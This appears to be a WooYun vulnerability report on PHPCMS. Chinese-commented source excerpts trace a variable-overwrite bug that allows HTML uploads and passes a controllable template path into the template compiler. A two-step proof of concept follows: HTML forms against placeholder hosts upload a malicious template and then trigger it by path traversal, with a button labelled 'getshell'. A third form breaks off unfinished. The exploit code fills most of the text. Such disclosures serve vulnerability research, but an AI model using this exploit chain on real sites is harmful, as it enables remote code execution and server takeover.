WooYun.org

$upload_allowext = !empty($C['upload_allowext']) ? $C['upload_allowext'] : $info['upload_allowext'];
    // 漏洞触发点   通过变量覆盖$upload_allowext此变量赋值为html
$upload_maxsize = !empty($C['upload_maxsize']) ? $C['upload_maxsize'] : $info['upload_maxsize']*1024;
$isthumb = isset($C['thumb_enable']) ? $C['thumb_enable'] : ($PHPCMS['thumb_enable'] && $info['isthumb'] ? 1 : 0);
$iswatermark = isset($C['watermark_enable']) ? $C['watermark_enable'] : ($PHPCMS['watermark_enable'] && $info['iswatermark'] ? 1 : 0);
$thumb_width = isset($width) ? $width : (isset($C['thumb_width']) ? $C['thumb_width'] : ($info['thumb_width'] ? $info['thumb_width'] : $PHPCMS['thumb_width']));
$thumb_height = isset($height) ? $height : (isset($C['thumb_height']) ? $C['thumb_height'] : ($info['thumb_height'] ? $info['thumb_height'] : $PHPCMS['thumb_height']));
$watermark_img = PHPCMS_ROOT.($info['watermark_img'] ? $info['watermark_img'] : $PHPCMS['watermark_img']);
$attachment = new attachment($mod);  //实例化attachment上传类
if($dosubmit)
{
	$attachment->upload($uploadtext, $upload_allowext, $upload_maxsize, 1);
          // 漏洞触发点  引用attachment上传类

$head['description'] = $r['description'];
if(!$template) $template = $C[‘template_show’];  // 通过变量覆盖即可覆盖$template变量
include template(‘phpcms’, $template);  // 调用template 模板解析函数
// 解析模板方法
function template($module = 'phpcms', $template = 'index', $istag = 0)
{
	$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
	if(TPL_REFRESH && (!file_exists($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.'/'.$module.'/'.$template.'.html') > @filemtime($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.'/tag.inc.php') > @filemtime($compiledtplfile)))
	{
		require_once PHPCMS_ROOT.'include/template.func.php';
		template_compile($module, $template, $istag);  // 模板解析
	}
	return $compiledtplfile;
}
              //  继续跟踪template_compile函数

在template.func.php中2行处
function template_compile($module, $template, $istag = 0)
{
	$tplfile = TPL_ROOT.TPL_NAME.‘/’.$module.‘/’.$template.‘.html’;  // 这里$template可控
	$content = @file_get_contents($tplfile);    // 触发漏洞，解析构造好的恶意文件
	if($content === false) showmessage("$tplfile is not exists!");
	$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
	$content = ($istag || substr($template, 0, 4) == 'tag_') ? '<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>' : template_parse($content);
	$strlen = file_put_contents($compiledtplfile, $content);
	@chmod($compiledtplfile, 0777);
	return $strlen;
}

<form action="http://xxx.com/upload_field.php?C[upload_allowext]=html&C[upload_maxsize]=1024000&uinfo=1" method="post" enctype="multipart/form-data"><!--  修改网址-->
	    <input type="file" name="1">
        <input type="hidden" value="1" name="uploadtext">
		<input type="hidden" value="" name="catid">
        <input type="hidden" value="" name="rename">
		<input type="hidden" value="" name="oldname">
        <input type="hidden" value="1" name="modelid">
		<input type="hidden" value="1" name="fieldid">
		<input type="hidden" value="300" name="width">
		<input type="hidden" value="300" name="height">
        <input type="hidden" value="100000" name="MAX_FILE_SIZE">
        <input type="submit" name="dosubmit" value="上传" style="margin-top:5px; height:28px;">
    </form>
   <hr style="width:600px; float:left;"><br/>
	第二步:
    <form action="http://xxx.com/preview.php" method="get">
	    <input type="hidden" value="2" name="info[id]">
		<input type="hidden" value="./../../../uploadfile/2013/0909/1" name="template">
        <input type="submit" name="submit" value="getshell">
    </form>

<form action="http://www.xxx.cn/admin.php?mod=phpcms&file=upload_field&C[upload_allowext]=html&C[upload_maxsize]=1024000&uinfo=1" method="post" enctype="multipart/form-data"><!--  修改网址-->
	    <input type="file" name="1">
        <input type="hidden" value="1" name="uploadtext">
		<input type="hidden" value="" name="catid">
        <input type="hidden" value="" name="rename">
		<input type="hidden" value="" name="oldname">